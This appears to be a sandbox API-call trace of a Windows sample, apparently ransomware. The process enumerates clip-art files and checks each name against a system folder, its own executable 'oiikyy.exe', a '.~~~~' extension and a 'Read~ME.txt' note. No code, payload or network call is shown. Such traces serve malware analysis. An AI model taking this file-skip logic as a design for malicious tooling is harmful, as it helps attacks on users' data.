	[0084.353] StrStrW (lpFirst="J0105328.WMF", lpSrch=".~~~~") returned 0x0
	[0084.353] lstrcmpW (lpString1="J0105328.WMF", lpString2="Read~ME.txt") returned -1
	[0084.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.353] GetCurrentThreadId () returned 0x618
	[0084.353] RtlWakeConditionVariable () returned 0x365f48
	[0084.353] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1
	[0084.353] lstrcmpiW (lpString1="J0105332.WMF", lpString2="Windows") returned -1
	[0084.353] lstrcmpW (lpString1="J0105332.WMF", lpString2="oiikyy.exe") returned -1
	[0084.353] StrStrW (lpFirst="J0105332.WMF", lpSrch=".~~~~") returned 0x0
	[0084.353] lstrcmpW (lpString1="J0105332.WMF", lpString2="Read~ME.txt") returned -1
	[0084.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.353] GetCurrentThreadId () returned 0x618
	[0084.353] RtlWakeConditionVariable () returned 0x365f48
	[0084.353] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1
	[0084.353] lstrcmpiW (lpString1="J0105336.WMF", lpString2="Windows") returned -1
	[0084.353] lstrcmpW (lpString1="J0105336.WMF", lpString2="oiikyy.exe") returned -1
	[0084.353] StrStrW (lpFirst="J0105336.WMF", lpSrch=".~~~~") returned 0x0
	[0084.353] lstrcmpW (lpString1="J0105336.WMF", lpString2="Read~ME.txt") returned -1
	[0084.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.353] GetCurrentThreadId () returned 0x618
	[0084.353] RtlWakeConditionVariable () returned 0x365f48
	[0084.353] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1
	[0084.353] lstrcmpiW (lpString1="J0105338.WMF", lpString2="Windows") returned -1
	[0084.353] lstrcmpW (lpString1="J0105338.WMF", lpString2="oiikyy.exe") returned -1
	[0084.353] StrStrW (lpFirst="J0105338.WMF", lpSrch=".~~~~") returned 0x0
	[0084.353] lstrcmpW (lpString1="J0105338.WMF", lpString2="Read~ME.txt") returned -1
	[0084.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.354] GetCurrentThreadId () returned 0x618
	[0084.354] RtlWakeConditionVariable () returned 0x365f48
	[0084.354] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1
	[0084.581] lstrcmpiW (lpString1="J0105348.WMF", lpString2="Windows") returned -1
	[0084.581] lstrcmpW (lpString1="J0105348.WMF", lpString2="oiikyy.exe") returned -1
	[0084.581] StrStrW (lpFirst="J0105348.WMF", lpSrch=".~~~~") returned 0x0
	[0084.581] lstrcmpW (lpString1="J0105348.WMF", lpString2="Read~ME.txt") returned -1
	[0084.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.583] GetCurrentThreadId () returned 0x618
	[0084.583] RtlWakeConditionVariable () returned 0x365f48
	[0084.583] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1
	[0084.583] lstrcmpiW (lpString1="J0105360.WMF", lpString2="Windows") returned -1
	[0084.583] lstrcmpW (lpString1="J0105360.WMF", lpString2="oiikyy.exe") returned -1
	[0084.583] StrStrW (lpFirst="J0105360.WMF", lpSrch=".~~~~") returned 0x0
	[0084.583] lstrcmpW (lpString1="J0105360.WMF", lpString2="Read~ME.txt") returned -1
	[0084.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.584] GetCurrentThreadId () returned 0x618
	[0084.584] RtlWakeConditionVariable () returned 0x365f48
	[0084.606] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1
	[0084.607] lstrcmpiW (lpString1="J0105368.WMF", lpString2="Windows") returned -1
	[0084.607] lstrcmpW (lpString1="J0105368.WMF", lpString2="oiikyy.exe") returned -1
	[0084.607] StrStrW (lpFirst="J0105368.WMF", lpSrch=".~~~~") returned 0x0
	[0084.607] lstrcmpW (lpString1="J0105368.WMF", lpString2="Read~ME.txt") returned -1
	[0084.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.607] GetCurrentThreadId () returned 0x618
	[0084.607] RtlWakeConditionVariable () returned 0x365f48
	[0084.607] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1
	[0084.607] lstrcmpiW (lpString1="J0105376.WMF", lpString2="Windows") returned -1
	[0084.607] lstrcmpW (lpString1="J0105376.WMF", lpString2="oiikyy.exe") returned -1
	[0084.607] StrStrW (lpFirst="J0105376.WMF", lpSrch=".~~~~") returned 0x0
	[0084.607] lstrcmpW (lpString1="J0105376.WMF", lpString2="Read~ME.txt") returned -1
	[0084.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.607] GetCurrentThreadId () returned 0x618
	[0084.608] RtlWakeConditionVariable () returned 0x365f48
	[0084.608] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1
	[0084.608] lstrcmpiW (lpString1="J0105378.WMF", lpString2="Windows") returned -1
	[0084.608] lstrcmpW (lpString1="J0105378.WMF", lpString2="oiikyy.exe") returned -1
	[0084.608] StrStrW (lpFirst="J0105378.WMF", lpSrch=".~~~~") returned 0x0
	[0084.608] lstrcmpW (lpString1="J0105378.WMF", lpString2="Read~ME.txt") returned -1
	[0084.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.608] GetCurrentThreadId () returned 0x618
	[0084.608] RtlWakeConditionVariable () returned 0x365f48
	[0084.608] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1
	[0084.608] lstrcmpiW (lpString1="J0105380.WMF", lpString2="Windows") returned -1
	[0084.608] lstrcmpW (lpString1="J0105380.WMF", lpString2="oiikyy.exe") returned -1
	[0084.608] StrStrW (lpFirst="J0105380.WMF", lpSrch=".~~~~") returned 0x0
	[0084.608] lstrcmpW (lpString1="J0105380.WMF", lpString2="Read~ME.txt") returned -1
	[0084.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.608] GetCurrentThreadId () returned 0x618
	[0084.608] RtlWakeConditionVariable () returned 0x365f48
	[0084.608] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1
	[0084.608] lstrcmpiW (lpString1="J0105384.WMF", lpString2="Windows") returned -1
	[0084.608] lstrcmpW (lpString1="J0105384.WMF", lpString2="oiikyy.exe") returned -1
	[0084.608] StrStrW (lpFirst="J0105384.WMF", lpSrch=".~~~~") returned 0x0
	[0084.608] lstrcmpW (lpString1="J0105384.WMF", lpString2="Read~ME.txt") returned -1
	[0084.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.608] GetCurrentThreadId () returned 0x618
	[0084.609] RtlWakeConditionVariable () returned 0x365f48
	[0084.609] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1
	[0084.609] lstrcmpiW (lpString1="J0105386.WMF", lpString2="Windows") returned -1
	[0084.609] lstrcmpW (lpString1="J0105386.WMF", lpString2="oiikyy.exe") returned -1
	[0084.609] StrStrW (lpFirst="J0105386.WMF", lpSrch=".~~~~") returned 0x0
	[0084.609] lstrcmpW (lpString1="J0105386.WMF", lpString2="Read~ME.txt") returned -1
	[0084.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.609] GetCurrentThreadId () returned 0x618
	[0084.609] RtlWakeConditionVariable () returned 0x365f48
	[0084.609] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1
	[0084.609] lstrcmpiW (lpString1="J0105388.WMF", lpString2="Windows") returned -1
	[0084.609] lstrcmpW (lpString1="J0105388.WMF", lpString2="oiikyy.exe") returned -1
	[0084.609] StrStrW (lpFirst="J0105388.WMF", lpSrch=".~~~~") returned 0x0
	[0084.609] lstrcmpW (lpString1="J0105388.WMF", lpString2="Read~ME.txt") returned -1
	[0084.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.609] GetCurrentThreadId () returned 0x618
	[0084.609] RtlWakeConditionVariable () returned 0x365f48
	[0084.609] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1
	[0084.609] lstrcmpiW (lpString1="J0105390.WMF", lpString2="Windows") returned -1
	[0084.609] lstrcmpW (lpString1="J0105390.WMF", lpString2="oiikyy.exe") returned -1
	[0084.609] StrStrW (lpFirst="J0105390.WMF", lpSrch=".~~~~") returned 0x0
	[0084.609] lstrcmpW (lpString1="J0105390.WMF", lpString2="Read~ME.txt") returned -1
	[0084.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.610] GetCurrentThreadId () returned 0x618
	[0084.610] RtlWakeConditionVariable () returned 0x365f48
	[0084.610] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1
	[0084.610] lstrcmpiW (lpString1="J0105396.WMF", lpString2="Windows") returned -1
	[0084.610] lstrcmpW (lpString1="J0105396.WMF", lpString2="oiikyy.exe") returned -1
	[0084.610] StrStrW (lpFirst="J0105396.WMF", lpSrch=".~~~~") returned 0x0
	[0084.610] lstrcmpW (lpString1="J0105396.WMF", lpString2="Read~ME.txt") returned -1
	[0084.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.610] GetCurrentThreadId () returned 0x618
	[0084.610] RtlWakeConditionVariable () returned 0x365f48
	[0084.610] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1
	[0084.610] lstrcmpiW (lpString1="J0105398.WMF", lpString2="Windows") returned -1
	[0084.610] lstrcmpW (lpString1="J0105398.WMF", lpString2="oiikyy.exe") returned -1
	[0084.610] StrStrW (lpFirst="J0105398.WMF", lpSrch=".~~~~") returned 0x0
	[0084.610] lstrcmpW (lpString1="J0105398.WMF", lpString2="Read~ME.txt") returned -1
	[0084.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.610] GetCurrentThreadId () returned 0x618
	[0084.610] RtlWakeConditionVariable () returned 0x365f48
	[0084.610] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1
	[0084.610] lstrcmpiW (lpString1="J0105410.WMF", lpString2="Windows") returned -1
	[0084.610] lstrcmpW (lpString1="J0105410.WMF", lpString2="oiikyy.exe") returned -1
	[0084.610] StrStrW (lpFirst="J0105410.WMF", lpSrch=".~~~~") returned 0x0
	[0084.610] lstrcmpW (lpString1="J0105410.WMF", lpString2="Read~ME.txt") returned -1
	[0084.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.611] GetCurrentThreadId () returned 0x618
	[0084.611] RtlWakeConditionVariable () returned 0x365f48
	[0084.611] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1
	[0084.611] lstrcmpiW (lpString1="J0105412.WMF", lpString2="Windows") returned -1
	[0084.611] lstrcmpW (lpString1="J0105412.WMF", lpString2="oiikyy.exe") returned -1
	[0084.611] StrStrW (lpFirst="J0105412.WMF", lpSrch=".~~~~") returned 0x0
	[0084.611] lstrcmpW (lpString1="J0105412.WMF", lpString2="Read~ME.txt") returned -1
	[0084.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.611] GetCurrentThreadId () returned 0x618
	[0084.611] RtlWakeConditionVariable () returned 0x365f48
	[0084.611] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1
	[0084.611] lstrcmpiW (lpString1="J0105414.WMF", lpString2="Windows") returned -1
	[0084.611] lstrcmpW (lpString1="J0105414.WMF", lpString2="oiikyy.exe") returned -1
	[0084.611] StrStrW (lpFirst="J0105414.WMF", lpSrch=".~~~~") returned 0x0
	[0084.611] lstrcmpW (lpString1="J0105414.WMF", lpString2="Read~ME.txt") returned -1
	[0084.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.611] GetCurrentThreadId () returned 0x618
	[0084.611] RtlWakeConditionVariable () returned 0x365f48
	[0084.611] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1
	[0084.611] lstrcmpiW (lpString1="J0105490.WMF", lpString2="Windows") returned -1
	[0084.611] lstrcmpW (lpString1="J0105490.WMF", lpString2="oiikyy.exe") returned -1
	[0084.611] StrStrW (lpFirst="J0105490.WMF", lpSrch=".~~~~") returned 0x0
	[0084.612] lstrcmpW (lpString1="J0105490.WMF", lpString2="Read~ME.txt") returned -1
	[0084.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.612] GetCurrentThreadId () returned 0x618
	[0084.612] RtlWakeConditionVariable () returned 0x365f48
	[0084.612] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1
	[0084.612] lstrcmpiW (lpString1="J0105496.WMF", lpString2="Windows") returned -1
	[0084.612] lstrcmpW (lpString1="J0105496.WMF", lpString2="oiikyy.exe") returned -1
	[0084.612] StrStrW (lpFirst="J0105496.WMF", lpSrch=".~~~~") returned 0x0
	[0084.612] lstrcmpW (lpString1="J0105496.WMF", lpString2="Read~ME.txt") returned -1
	[0084.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.612] GetCurrentThreadId () returned 0x618
	[0084.612] RtlWakeConditionVariable () returned 0x365f48
	[0084.612] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1
	[0084.612] lstrcmpiW (lpString1="J0105502.WMF", lpString2="Windows") returned -1
	[0084.612] lstrcmpW (lpString1="J0105502.WMF", lpString2="oiikyy.exe") returned -1
	[0084.612] StrStrW (lpFirst="J0105502.WMF", lpSrch=".~~~~") returned 0x0
	[0084.612] lstrcmpW (lpString1="J0105502.WMF", lpString2="Read~ME.txt") returned -1
	[0084.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.612] GetCurrentThreadId () returned 0x618
	[0084.612] RtlWakeConditionVariable () returned 0x365f48
	[0084.612] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1
	[0084.612] lstrcmpiW (lpString1="J0105504.WMF", lpString2="Windows") returned -1
	[0084.612] lstrcmpW (lpString1="J0105504.WMF", lpString2="oiikyy.exe") returned -1
	[0084.613] StrStrW (lpFirst="J0105504.WMF", lpSrch=".~~~~") returned 0x0
	[0084.613] lstrcmpW (lpString1="J0105504.WMF", lpString2="Read~ME.txt") returned -1
	[0084.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.613] GetCurrentThreadId () returned 0x618
	[0084.613] RtlWakeConditionVariable () returned 0x365f48
	[0084.613] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1
	[0084.613] lstrcmpiW (lpString1="J0105506.WMF", lpString2="Windows") returned -1
	[0084.613] lstrcmpW (lpString1="J0105506.WMF", lpString2="oiikyy.exe") returned -1
	[0084.613] StrStrW (lpFirst="J0105506.WMF", lpSrch=".~~~~") returned 0x0
	[0084.613] lstrcmpW (lpString1="J0105506.WMF", lpString2="Read~ME.txt") returned -1
	[0084.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.613] GetCurrentThreadId () returned 0x618
	[0084.613] RtlWakeConditionVariable () returned 0x365f48
	[0084.613] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1
	[0084.613] lstrcmpiW (lpString1="J0105520.WMF", lpString2="Windows") returned -1
	[0084.613] lstrcmpW (lpString1="J0105520.WMF", lpString2="oiikyy.exe") returned -1
	[0084.613] StrStrW (lpFirst="J0105520.WMF", lpSrch=".~~~~") returned 0x0
	[0084.613] lstrcmpW (lpString1="J0105520.WMF", lpString2="Read~ME.txt") returned -1
	[0084.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.613] GetCurrentThreadId () returned 0x618
	[0084.613] RtlWakeConditionVariable () returned 0x365f48
